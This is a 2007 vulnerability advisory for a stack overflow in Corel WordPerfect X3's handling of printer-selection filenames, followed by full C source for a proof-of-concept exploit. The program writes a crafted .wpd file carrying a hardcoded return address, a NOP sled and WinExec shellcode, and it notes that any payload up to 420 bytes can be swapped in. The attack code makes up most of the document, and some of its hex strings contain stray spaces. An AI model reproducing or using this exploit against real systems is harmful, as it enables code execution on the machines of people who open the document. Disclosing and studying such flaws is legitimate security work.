Product Name: Wordperfect X3 (13.0.0.565) Vendor: http://www.corel.com Date: 28 March, 2007 Author: Jonathan So < jonny [ @ ] nop-art [ dot] net> Advisory URL: http://www.nop-art.net/advisories/wpwinX3.txt I. DESCRIPTION A stack overflow vulnerability has been found in Wordperfect X3. The vulnerability could allow an attacker to create a specially crafted document to execute abitrary code when opened by some user. II. DETAILS Wordperfect X3 fails to check the length of the printer selection (.PRS) filename stored inside Wordperfect documents, allowing an attacker to cause a stack overflow in order to execute arbitrary code. III. VENDOR RESPONSE Vendor notified on 26 March, 2007. Awaiting response. IV. CREDIT Discovered by Jonathan So Additional thanks to Tom Neaves V. EXPLOIT /** * wp13exp.c - Wordperfect X3 remote exploit * * Proof of concept exploit for a stack based overflow in * Corel Wordperfext X3. The vulnerability can be exploited * by tricking a user into opening a specially crafted document. * * Usage: * * c:\win13exp evildoc.wpd * * Original advisory: http://www.nop-art.net/advisories/wpwin13.txt * Author: Jonathan So [ jonny [ @ ] nop-art.net ] */ #define WINDOWS //#define LINUX #ifdef WINDOWS #include <windows.h> #endif #include <stdio.h> // Tested for Wordperfect X3 (13.0.0.565) on XP SP2 #define RET_ADDR 0x0012DF50 // Don't change these #define PKT_INDEX_SIZE 14 #define HEADER_SIZE 512 #define PRINTSEL_PKT_SIZE 530 #define PRINTSEL_FAKE_SIZE 713 #define FONTDESC_PKT_SIZE 420 // WordPerfect file header struct wp_header { unsigned char file_id[4]; unsigned long doc_ptr; unsigned char product_type; unsigned char document_type; unsigned char major_version; unsigned char minor_version; unsigned short encryption; unsigned short index_ptr; unsigned char reserved[4]; unsigned long file_size; unsigned char extended_header[488]; }; // Index for data packet struct packet_index { unsigned char flags; unsigned char packet_type; unsigned short use_count; unsigned short hidden_count; unsigned long size; unsigned long data_ptr; }; // This WinExec shellcode locates kernel32.dll using PEB method before // calling WinExec (using the string at the end of the shellcode) and // finally calling ExitProcess. Should work for XP/2000/2003/NT but // any shellcode should plug straight in, up to 420 bytes and it doesn't // matter if it contain nulls. char shellcode[] = "\xb8\x7e\xd8\xe2\x73\x50\xe8\x21\x00\x00\x00\x83\xc4\x04\x50\xb8\x98\xf e\x8a\x0e\x50\xe8\x12\x00\x00\x00" "\x83\xc4\x04\x50\xeb\x62\x5e\x58\x6a\x00\x56\xff\xd0\x58\x6a\x00\xff\xd 0\x33\xc0\x64\xa1\x30\x00\x00\x00" "\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x8b\x45\x3c\x8b\x54\x05\x78\x0 3\xd5\x8b\x5a\x20\x8b\x4a\x18\x03" "\xdd\xe3\x30\x49\x8b\x34\x8b\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x7 4\x07\xc1\xcf\x0d\x03\xf8\xeb\xf4" "\x3b\x7c\x24\x04\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5a\x1 c\x03\xdd\x8b\x04\x8b\x03\xc5\xc3" "\xe8\x99\xff\xff\xff" "cmd /c echo nop-art>c:\\test.txt && notepad c:\\test.txt\x00"; char fill_string[] = "nop-art.net"; void construct_header(struct wp_header* header) { int i; // These are constant for all Wordperfect documents header->file_id[0] = -1; header->file_id[1] = 'W'; header->file_id[2] = 'P'; header->file_id[3] = 'C'; // Document header values header->doc_ptr = 0; header->product_type = 0x01; header->document_type = 0x0A; header->major_version = 0x02; header->minor_version = 0x01; header->encryption = 0x00; header->index_ptr = 0x0200; header->reserved[0] = 0x05; for (i=1;i<4;i++) { header->reserved[i] = 0x00; } header->file_size = 0; for (i=0;i<488;i++) { header->extended_header[i] = 0x00; } } void construct_document(FILE *fp, long ret_addr) { // Index packets struct packet_index index[3] = { { 0x02, 0x00, 0x03, 0x00, 0x00, x00 }, { 0x00, 0x55, 0x01, 0x00, 0x00, 0x00 }, { 0x08, 0x23, 0x01, 0x00, 0x00, 0x00 } }; struct wp_header header; unsigned char fontdesc_packet[FONTDESC_PKT_SIZE]; unsigned char printsel_packet[PRINTSEL_PKT_SIZE]; char *char_ptr; int i; int offset; construct_header(&header); // Fill the font selection packet with NOP's for (i=0;i<FONTDESC_PKT_SIZE;i++) { fontdesc_packet[i] = 0x90; } // Set size and offset for index packets index[1].size = FONTDESC_PKT_SIZE; index[2].size = 713; index[2].data_ptr = HEADER_SIZE + (PKT_INDEX_SIZE * 3); index[1].data_ptr = index[2].data_ptr + PRINTSEL_PKT_SIZE; // Copy shellcode into the end of the font descriptor packet offset = index[1].size - sizeof(shellcode); for (i=0; i < sizeof(shellcode); i++) { fontdesc_packet[i + offset] = shellcode[i]; } // Fill the printer selection packet with some data for (i=0; i < PRINTSEL_PKT_SIZE ; i++) { printsel_packet[i] = fill_string[i % sizeof(fill_string)]; } // Add the return address on the end. Copied from a unicode buffer to non-unicode char_ptr = (char*) &ret_addr; for (i=8;i>0;i-=2) { printsel_packet[PRINTSEL_PKT_SIZE-i] = *char_ptr; printsel_packet[PRINTSEL_PKT_SIZE-(i-1)] = 0x00; char_ptr++; } // Set total file size and pointer to document body header.file_size = HEADER_SIZE + (PKT_INDEX_SIZE * 3) + PRINTSEL_PKT_SIZE + FONTDESC_PKT_SIZE; header.doc_ptr = header.file_size; // Now write all the data to file. Some compilers align structure members // on different size boundaries so we have to write them all separately fwrite((void*) &header.file_id, 4, 1, fp); fwrite((void*) &header.doc_ptr, 4, 1, fp); fwrite((void*) &header.product_type, 1, 1, fp); fwrite((void*) &header.document_type, 1, 1, fp); fwrite((void*) &header.major_version, 1, 1, fp); fwrite((void*) &header.minor_version, 1, 1, fp); fwrite((void*) &header.encryption, 2, 1, fp); fwrite((void*) &header.index_ptr, 2, 1, fp); fwrite((void*) &header.reserved, 4, 1, fp); fwrite((void*) &header.file_size, 4, 1, fp); fwrite((void*) &header.extended_header, 488, 1, fp); fwrite((void*) &index[0].flags, 1, 1, fp); fwrite((void*) &index[0].packet_type, 1, 1, fp); fwrite((void*) &index[0].use_count, 2, 1, fp); fwrite((void*) &index[0].hidden_count, 2, 1, fp); fwrite((void*) &index[0].size, 4, 1, fp); fwrite((void*) &index[0].data_ptr, 4, 1, fp); fwrite((void*) &index[1].flags, 1, 1, fp); fwrite((void*) &index[1].packet_type, 1, 1, fp); fwrite((void*) &index[1].use_count, 2, 1, fp); fwrite((void*) &index[1].hidden_count, 2, 1, fp); fwrite((void*) &index[1].size, 4, 1, fp); fwrite((void*) &index[1].data_ptr, 4, 1, fp); fwrite((void*) &index[2].flags, 1, 1, fp); fwrite((void*) &index[2].packet_type, 1, 1, fp); fwrite((void*) &index[2].use_count, 2, 1, fp); fwrite((void*) &index[2].hidden_count, 2, 1, fp); fwrite((void*) &index[2].size, 4, 1, fp); fwrite((void*) &index[2].data_ptr, 4, 1, fp); fwrite(printsel_packet, PRINTSEL_PKT_SIZE, 1, fp); fwrite(fontdesc_packet, FONTDESC_PKT_SIZE, 1, fp); fclose(fp); } int main (int argc, char **argv) { FILE *fp; unsigned long ret_addr = RET_ADDR; if (argc < 2) { printf("Usage: %s <filename> [-r 0xdeadbeef]\n", argv[0]); printf(" -r <retaddr> (0x%x default)\n", ret_addr); return 0; } if (argc >= 4) { if (memcmp(argv[2], "-r", strlen(argv[2]))==0) { ret_addr = strtoul(argv[3], NULL, 0); } } if ((fp = fopen(argv[1], "wb")) == NULL) { printf("Error creating file: %s\n", argv[1]); return -1; } construct_document(fp, ret_addr); printf("Created document %s with return address [0x%x]\n", argv[1], ret_addr); return 0; }